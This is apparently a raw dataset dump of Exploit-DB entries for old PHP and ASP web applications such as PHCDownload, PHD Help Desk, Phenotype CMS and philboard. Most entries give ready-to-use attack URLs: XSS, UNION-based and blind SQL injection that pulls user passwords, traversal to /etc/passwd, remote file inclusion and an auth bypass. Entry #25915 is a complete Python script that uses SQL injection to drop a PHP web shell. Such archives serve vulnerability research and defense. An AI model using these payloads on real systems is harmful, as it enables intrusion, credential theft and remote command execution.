deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31705
Description: PHCDownload 1.1 - '/upload/install/index.php?step' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28922/info
 
PHCDownload is prone to an SQL-injection and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHCDownload 1.1.0 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/upload/install/index.php?step="><script>alert()</script>
Exploit-DB #30958
Description: PHCDownload 1.1 - 'search.php?string' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-29
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/27066/info
 
PHCDownload is prone to an SQL-injection and cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHCDownload 1.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[phcdownload/search.php?string=[XSS]
Exploit-DB #30957
Description: PHCDownload 1.1 - 'search.php?string' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-29
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/27066/info

PHCDownload is prone to an SQL-injection and cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHCDownload 1.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[phcdownload/search.php?string='
Exploit-DB #33354
Description: PHD Help Desk 1.43 - 'area.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info

PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/area.php/[code]
http://www.example.com/area.php?pagina=[code]
http://www.example.com/area.php?sentido=[code]
http://www.example.com/area.php?q_registros=[code]
http://www.example.com/area.php?orden=[code]
Exploit-DB #33356
Description: PHD Help Desk 1.43 - 'area_list.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info
  
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
  
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/area_list.php/[code]
http://www.example.com/area_list.php?pagina=1&q_registros=0[code]&orden=nombre
Exploit-DB #33357
Description: PHD Help Desk 1.43 - 'atributo.php?URL' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info
   
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
   
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
   
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/atributo.php/[code]
Exploit-DB #33358
Description: PHD Help Desk 1.43 - 'atributo_list.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info
    
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
    
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
    
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/atributo_list.php?pagina=1[code]&q_registros=15&orden=activo&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15[code]&orden=activo&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15&orden=activo[code]&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15&orden=activo&sentido[code]
Exploit-DB #33359
Description: PHD Help Desk 1.43 - 'caso_insert.php?URL' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info
     
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
     
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
     
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/caso_insert.php/[code]
Exploit-DB #33355
Description: PHD Help Desk 1.43 - 'solic_display.php?q_registros' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/37029/info
 
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
 
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/solic_display.php?pagina=1&q_registros=[code]&orden=seq_solicitud_id
Exploit-DB #25915
Description: PHD Help Desk 2.12 - SQL Injection
Type: webapps
Platform: php
Date: 2013-06-03
Author: drone

Exploit:
# Exploit Title: PHD Help Desk 2.12 SQLi
# Date: 05/24/2013
# Exploit Author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/06/phd-help-desk-212-sqli-and-xss.html
# Vendor Homepage: http://www.p-hd.com.ar/
# Software Link: http://downloads.sourceforge.net/project/phd/phd_released/phd%202.12/phd_2_12.zip
# Version: 2.12
# Tested on: Ubuntu 12.04 (apparmor disabled)

""" This app is so full of SQLi & XSS; if you're looking for
    practice with real web apps, this is a good place to go.

    You don't need auth for this.
"""
from argparse import ArgumentParser
import string
import random
import urllib, urllib2
import sys

def run(options):
    print '[!] Dropping web shell on %s...'%(options.ip)

    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    # <? php system($_GET["rr"]); ?>
    data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f[PII_REDACTED]797374656d28245f4745545b227272225d293b3f3e'
                                    ',null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE'
                                        ' \'{0}/{1}.php'.format(options.path,shell)),
                             'contrasenia':'pass',
                             'submit':'Enter',
                             'captcha':''})

    urllib2.urlopen('http://{0}{1}/login.php'.format(options.ip, options.rootp), data)
    print '[!] Shell dropped.  http://%s%s/%s.php?rr=ls'%(options.ip,options.rootp,shell)

def parse():
    parser = ArgumentParser()
    parser.add_argument('-i',help='server address',action='store',dest='ip')
    parser.add_argument('-p',help='path to login.php (/phd_2_12)',action='store',
                default='/phd_2_12', dest='rootp')
    parser.add_argument('-w',help='writable web path (/var/www/phd_2_12) for shell',
                default='/var/www/phd_2_12/', action='store', dest='path')

    options = parser.parse_args()
    if not options.ip:
        parser.print_help()
        sys.exit(1)

    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__=="__main__":
    run(parse())
Exploit-DB #29635
Description: Pheap 1.x/2.0 - 'edit.php' Directory Traversal
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22670/info

Pheap is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve and edit the contents of arbitrary files from the vulnerable system in the context of the affected application. 

http://www.example.com/edit.php?em=file&filename=../../../../../../../../../../../../../etc/passwd
Exploit-DB #11741
Description: Phenix 3.5b - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-15
Author: ITSecTeam

Exploit:
Dear Sir / Madam
The ItSecTeam has discovered a new Multiple bug in phenix Lastest Version 35b and will be glad to report and public it .
More information about this bug is listed below :
=======================================================================================
Topic :     Phenix
Bug type : SQL Injection
Author : ItSecTeam
Remote : Yes
Status   : Bug
===================== Content ======================
( # Advisory Content : Phenix
( # Script : http://easy-script.com/scripts-PHP/phenix-35b-5503.html
( # Mail : Bug@ItSecTeam.com
( # Find By : Amin Shokohi(Pejvak!)
( # Special Tnx : M3hr@n.S , 0xd41684c654 And All Team Members!
( # Website : WwW.ItSecTeam.com<http://www.itsecteam.com/>
( # Forum : WwW.Forum.ItSecTeam.com<http://www.itsecteam.com/>

=================================================
============================================= Exploit 1 =======================================
( * http://localhost/phenix/agenda_titre.php?moisEnCours=Sql Injection Code
----------------------------------------------------------------------------------
<BUG>
  $DB_CX->DbQuery("SELECT fet_nom FROM ${PREFIX_TABLE}fetes WHERE fet_mois=***".$moisEnCours."*** AND fet_jour=".intval($jourEnCours));
</Bug>
----------------------------------------------------------------------------------
===========================================================================================
============================================= Exploit 2 =======================================
( * http://localhost/phenix/agenda_titre.php?moisEnCours=Sql Injection Code
-----------------------------------------------------------------------------------
<BUG>
 $DB_CX->DbQuery("SELECT util_nom, util_prenom, util_login, util_interface, util_debut_journee, util_fin_journee, util_telephone_vf, util_planning, util_partage_planning, util_email, util_autorise_affect, util_alert_affect, util_precision_planning, util_semaine_type, util_duree_note, util_rappel_delai, util_rappel_type, util_rappel_email FROM ${PREFIX_TABLE}utilisateur WHERE util_id="***.$idUser***);
</<BUG>>
------------------------------------------------------------------------------------
==========================================================================================
Exploit-DB #9107
Description: Phenotype CMS 2.8 - 'login.php?user' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-10
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                   Phenotype v2.8  Blind Sql Injection                       ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.phenotype-cms.com                                            #
#                                                                                   #
#Dork : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_login from user limit 1,1),1,1))=[ascii code try]/*
#http://[site]/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_pass from user limit 1,1),1,1))=[ascii code try]/*
#                                                                                   #
#Note :                                                                             #
#1. This bug in admin folder, but u dont need to login,u can use bug with out login #
#2. If ascii is true u see login page else u see 500 Internal Server Error          #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-07-10]
Exploit-DB #15922
Description: Phenotype CMS 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-06
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22769
Reference: http://www.htbridge.ch/advisory/sql_injection_in_phenotype_cms.html
Product: Phenotype CMS
Vendor: http://www.phenotype-cms.com ( http://www.phenotype-cms.com ) 
Vulnerable Version: 3.0
Vendor Notification: 21 December 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/Gallery/gal_id/1/image1%27SQL_CODE.html
Exploit-DB #4464
Description: PhFiTo 1.3.0 - 'SRC_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-28
Author: w0cker

Exploit:
?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
___________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_________????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??? ???????_____ ??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
# phpFidoNode  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
##################################################
#ERROR1:phfito-post.php
#require_once $SRC_PATH."P_phfito.php";;<<< rfi coded.
#Other Files:
#/phfito/phfito-post?SRC_PATH=[ShellScript]
##################################################
#Download:http://switch.dl.sourceforge.net/sourceforge/phpfidonode/phfito-1.3.0.tar.gz
#
##################################################
####specialthanx:####Str0ke####Kezzap66345################
##################################################

# milw0rm.com [2007-09-28]
Exploit-DB #27829
Description: Phil's Bookmark Script - 'admin.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-05-08
Author: alp_eren@ayyildiz.org

Exploit:
source: https://www.securityfocus.com/bid/17878/info

Phil's Bookmark script is prone to an authentication-bypass vulnerability. The issue occurs because the affected script fails to prompt for authentication credentials. 

An attacker can exploit this issue to bypass authentication and gain admin access to the affected application. This could aid in further attacks on the affected computer.

http://www.example.com/bookmarks/admin.php?edit=1
Exploit-DB #31798
Description: philboard 0.5 - 'W1L3D4_konuoku.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-14
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29229/info
 
Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuoku.asp?id=1+union+select+0,1,2,3,4,5,6,1,1,1,1,1,1,1,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,8,9,1,1,1,1,1,1,1,1,1,1+from+users
Exploit-DB #31799
Description: philboard 0.5 - 'W1L3D4_konuya_mesaj_yaz.asp' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-14
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29229/info
  
Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?id=1+union+select+(password),username,password,password,4,1,1,1,null,1,password,password,password,password,password+from+users
Exploit-DB #11802
Description: philboard 1.02 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-18
Author: ViRuS_HiMa

Exploit:
[+]##############################################
[+] |____ViRuS_HiMa@YouR SyS__|__\ #
[+] |______________________|___||\*___ #
[+] |______________________|___||""|"*\___, #
[+] |______________________|___||""|*"|___|| #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)* #
[%] #
[+] philboard v1.02 sql injection Vulnerability #
[+]===========================================================================||
[*] Script : philboard v1.02 ||
[!] Author : ViRuS_HiMa ||
[!] Site : WwW.hell-z0ne.org - www.pakhaxors.com ||
[!] E-Mail : eGypT_GoVeRnMenT[at]HoTmaiL[dot]CoM ||--------
[!] Location : Cairo-007 ||
[!]===================================================================||
[!] philboard is Asp Web Forum . ||
[!]===================================================================||
[!] Vuln in : buscahost_forum.asp?forumid=1 ||
[#] ||
[%] Use : localhost/path/buscahost_forum.asp?forumid=Sql ||
[!] ||
[!]===================================================================||
[!]Greetz 2 Allah - Muslim Hackers - Dj.h@xor - And oTherz . ||
[*]===================================================================||
Exploit-DB #3552
Description: Philex 0.2.3 - Remote File Inclusion / File Disclosure
Type: webapps
Platform: php
Date: 2007-03-23
Author: GoLd_M

Exploit:
######################################################
# Philex 0.2.3 <= Remote File(Disclosure/Include)Vulnerabilities
# D.Script: http://kent.dl.sourceforge.net/sourceforge/philex/philex_0.2.3.tgz
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
######################################################
# V.Code Include:                                    #
# <?include $CssFile;?>                              #
# Exploit Remote File Include:                       #
# [Path_Philex]/header.inc.php?CssFile=Shell         #
######################################################
# V.Code Disclosure:                                 #
# readfile($HTTP_GET_VARS["file"]);                  #
# Exploit Remote File Disclosure:                    #
# [Path_Philex]/download.php?file=conf.inc.php       #
######################################################

# milw0rm.com [2007-03-23]